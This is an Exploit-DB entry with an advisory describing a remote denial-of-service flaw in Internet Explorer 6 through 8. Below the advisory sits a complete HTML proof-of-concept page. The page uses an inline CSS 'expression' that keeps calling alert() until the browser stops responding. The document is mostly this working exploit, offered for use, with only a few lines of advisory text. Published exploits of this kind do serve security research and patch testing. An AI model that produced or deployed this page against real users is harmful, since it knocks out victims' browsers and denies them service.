Microsoft Internet Explorer 8 - CSS 'expression' Remote Denial of Service

EDB-ID:

34069

CVE:

N/A


Author:

MustLive

Type:

dos


Platform:

Windows

Date:

2010-01-01


source: https://www.securityfocus.com/bid/40487/info

Microsoft Internet Explorer is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted webpage.

Successfully exploiting this issue will cause the application to stop responding, denying service to legitimate users.

Internet Explorer 6, 7, and 8 are vulnerable.

<html> <head> <title>Internet Explorer DoS Exploit (C) 2008 MustLive. http://websecurity.com.ua</title> </head> <body> <p style="dos:expression(alert('DoS'))">IE DoS</p> </body> </html>